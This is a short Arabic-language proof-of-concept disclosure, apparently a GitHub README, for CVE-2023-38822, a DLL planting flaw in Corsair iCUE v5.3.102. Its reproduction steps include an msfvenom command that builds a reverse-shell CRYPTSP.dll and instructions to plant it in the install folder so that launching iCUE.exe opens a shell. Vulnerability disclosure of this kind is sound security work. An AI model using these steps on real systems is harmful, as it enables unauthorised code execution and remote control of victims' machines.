Corsair---DLL-Planting-CVE-2023-38822
زرع DLL في Corsair iCUE v.5.3.102 CVE-2023-38822
المكتشف: Idan Malihi
الوصف
مشكلة في Corsair iCUE v.5.3.102 تسمح لمهاجم محلي بتنفيذ تعليمات برمجية عشوائية عبر مكونات MPDC.dll وCRYPTSP.dll وdcomp.dll وprofapi.dll وMSASN1.dll.
خطوات إعادة الإنتاج
لاستغلال ثغرة زرع DLL، يجب على المهاجم اتخاذ الخطوات التالية:
- قم بتنزيل أحدث إصدار من iCUE.
- قم بتثبيت منتج iCUE.
- افتح مجلد مسار التثبيت، على سبيل المثال: C:\Program Files\Corsair\Corsair iCUE5 Software\
- أنشئ ملف DLL ضار باستخدام msfvenom على نظام Kali Linux:
msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o CRYPTSP.dll
- انقل ملف DLL إلى مسار اللعبة C:\Program Files\Corsair\Corsair iCUE5 Software\
- قم بتشغيل iCUE.exe واحصل على قشرة عكسية.